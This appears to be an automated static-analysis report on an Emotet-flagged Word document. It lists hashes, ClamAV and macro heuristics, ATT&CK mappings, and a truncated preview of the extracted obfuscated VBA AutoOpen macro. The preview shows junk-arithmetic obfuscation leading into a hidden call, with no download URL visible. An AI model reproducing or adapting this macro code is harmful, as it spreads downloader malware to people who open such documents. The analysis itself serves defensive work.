Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 0228e1238791580d…

MALICIOUS

Office (OLE)

137.1 KB Created: 2018-09-28 09:11:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 975b7ee930870217f7b30bfc7404ed74 SHA-1: 34811ec7a83e0308d4c7b7d8404db8f7c067945a SHA-256: 0228e1238791580dab3e2b380237219b85094cba34d13700343a35b34fb6bcba
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample was detected as Emotet by ClamAV and contains critical heuristics for VBA macros and Shell() calls. The AutoOpen macro is present, indicating an attempt to execute malicious code upon opening. The VBA script likely downloads and executes a second-stage payload, consistent with Emotet's behavior.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6826489-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6826489-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 84527 bytes
SHA-256: a7f4897101f1bbed3cef0732594498579a66383ba287b12db278d80df968808f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "kQSIzGDwt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim fRXLHk(2)
fRXLHk(0) = InStr(LRAdH + mhnKzwliZsEjiTDqja + AiBGVza, IJXZuNa + fsmPjfcihaRTcbjwIblDK + zJJoFdXA) + InStr(wlzVit + pTojwdHhKHtocIjRubwtS + wBiai, KUnHTN + YzNtAdWNqLcWRsznjGwD + ZiHVcL) + InStrRev(NDzfZhf + UkTFztNlVZzaZUbzPHli + JNvuwQIG, SLTbkiI + fmndAzFGKRiGNPoSpFRssv + AAOlzv) + InStr(EWkuzrK + QvMwEmFwBkNtuiXaSYRnS + SvmUz, vbzQYvNJ + tDMKbWWmDJItKtUJMU + XwSiGCJs)
fRXLHk(1) = InStrRev(HuPaAqt + KrjXcrXNtzbppMJTQUdLA + OijtdPwW, raprjpHz + SEAmnazijjflsdHQjiS + wlTbji) + InStrRev(rbZJi + vpzsMLpFOrLZjAIipC + SzKUoKLT, CUujZjB + OMpTWcRuAwIDhqCvXitudf + fAaZjE) + InStrRev(mdjns + mSRYwnBjjFNRMnZNm + bPDzjDCN, AOGbL + bbzttaqoUQsOikVCUBGAwTR + COqAj) + InStrRev(LuEhoNI + lUAZQtSJnzUaAadlRiPM + YajKNHsE, wQcwJv + tdRkudFPXkFVINhjZvfEQ + cLwhbVY)
   Dim XdwwiR(1)
XdwwiR(0) = InStr(zJtHiYW + GEWrGBqVFGuCpCHnaf + RhYLd, jwEQNtLz + LGIMGhwMDjRjYzEJhqJ + VHplbnr) + InStrRev(LOZYvLAb + NMRPjbvHnjlChfsLtZMbbX + ACsJGz, QDsIJ + kRGZLrtEHQwsBkXLotOidm + OmFjBH) + InStrRev(KVwzYHz + pCzJjBlwzwVnAVfSHX + KZaUtZnh, dnjLMiY + DJjGXsKwcfYdajFtHMLQD + pEpIw) + InStrRev(ZLfbT + jckFPKzWWdcirtjTOCF + flVEPhNP, YjaKnc + iTfTOGmmvzoZdadouzoIN + YCRisr)
   Dim KanjF(2)
KanjF(0) = InStrRev(YVULspDu + MjwNYBaIuTBvPpCHEldVz + wwumHBd, rbFlY + DJiWaEuzBnzFiFpFcNOnR + GpVkQ) + InStrRev(NZMTkIrU + GOdiZhdATkKpWMzPZPkDIsJw + jNHObj, jjIsjUPG + qGltsfaWKVmQiPFdwNpJ + SjhfPnB)
KanjF(1) = InStrRev(IZinVc + KsYuPtDFKdGwjJaw + GWTwraZz, BIJiRho + nbKdYBHcCdudEVEzY + GdaczN) + InStrRev(zVYrFQv + NpTwvzqXzavcqdUjCwmo + CIVmpvIc, ifYLjkE + vjXiuivPqwbBioUlYCSTS + duJASsCY) + InStrRev(fiaDCz + LJhzYSrSLNdQEFslOXFYc + NKuiVCZ, zOfVq + ZrLLwGawKOiOEEmFhUk + Ejwal) + InStr(vGUjjR + nETjLouTMJbilpCAHNbf + nTYtZD, zRdABi + QzOczJilqiQZciJXVWZ + VDlUw)
   Dim LWfVc(1)
LWfVc(0) = InStrRev(tiPzGo + zkhJwuJDfwficwWdcar + Wbvbq, KiciL + aYOMbqjrQjzwjoIzVnWz + qimwBw) + InStrRev(XvEONP + FkfuqOQwnVLhqDZlLtTpRtk + HYbtFpim, cbOnAOd + jriWUdjluNBGocMcFsIR + QKwGTb) + InStrRev(DtwcBH + CwsGaWlvcBBVpZGDTmfS + jCujPWE, pMYzptX + qZmwOVDvDwkafrUsFj + pmzMBZQK) + InStrRev(VbsomnZ + bBPwSwTwZfGizKPJTdi + JBBhr, TuUivZn + CGSlQUrPqbYPrizpRjRbt + MJGhX)
   Dim zsqrNO(2)
zsqrNO(0) = InStrRev(NuDBFj + dWPNHMQqodRXkJrWDzaW + jPPbj, RvYzj + kbQBYlLdCUrNMBnIMbzBzJp + cLuCC) + InStr(bjYzVpk + HoluQHzYuKnajQLTSIRp + ZHiBmWq, pUDajUpw + uzANfFiRUEqUqArwlX + mdYjpbw) + InStrRev(mhNbY + nhsYqjwUGtUwAtXNkHiP + rsESPs, sIEfv + iDGjhiLtwnELFRoFzquC + bOFrpF) + InStrRev(JFEbjVp + LVcoGzBmqqmNwWFPY + qJSBC, lSPlIij + VQEoCPzvVDiJPaHiSWE + ZAXaAE)
zsqrNO(1) = InStr(PwkwUj + WSFhjzcpzvbCQVqOC + zqUjPL, UjGCwDz + aYUlCJZzvTdiRISOMAjQ + cPVzTw) + InStr(LndWc + uRPPLwpHSnlkAIzXZtESj + VSiVO, jRjTAL + AOhfNjHiVYEWnqwjdXklE + EitWHl)
   Dim bEiwl(2)
bEiwl(0) = InStrRev(JCapicnI + jqCSiIdpbmXlwDNbcZQUrS + dzERnuim, lwwBLwRJ + imznahBQWLzhPzJwcGKqr + fbOUCi) + InStrRev(PrwQrGz + qjmOhBLHKJKTkIBVn + dSBzIp, sfdoAK + warJuXWvwqjbqaVD + hthqpR) + InStrRev(fuzTGDv + ZFviELzjoDnNiHvjKSEGt + BsNbAf, vzZidhhD + atSQpXSPlTVzBpoaIoXs + JWFnzcO) + InStrRev(SwzlCpJ + JUawXtWbdzoCAsBMAQJEW + sqZDlwa, EILzMzc + AoPwEDWzNAAPEcozXszNvQn + BACnHT)
bEiwl(1) = InStrRev(TvlVhzA + jpEiLzidtBjQiBmz + swiwU, bpvwA + wUnqpCJZUFzPUqDCurs + rEmDnwC) + InStrRev(zSKOvHI + WOqUrrJkuzvpGzlPFq + iVPCjR, uqcWHvWN + iNIdjKLNwVsuzLzbo + VwCEMjrE) + InStrRev(UnLNIB + qUESasEbJkGNmsKaf + TITzXJM, KNWzjnDX + HIiUEOaZVwaGBvwcfi + VZKPIdwp) + InStrRev(TpTloPL + mLpkHOjrEvUdPOuXFzajMz + vQHjRW, ifpDA + GkrGqaFYUoDmLfdknSkVdwdJ + ErWjBUv)
UjjaQbiKnOmRF (KeyString(nOLWPR + SQNsvOjk + 21 + 18 + 28 + PftKRtBi + DCIjz) + cOHZcCt + MVcohzjE + KeyString(iczSVjhs + HdtpjH + 24 + 21 + 32 + NmczU + jFvUGTE) + chQkST + vKRamNR + okLdzBNv + plAkWNkh + bwsbkkiC)
   Dim KCqRn(1)
KCqRn(0) = InStrRev(LCGbDBQw + awlPwEHivzD
... (truncated)

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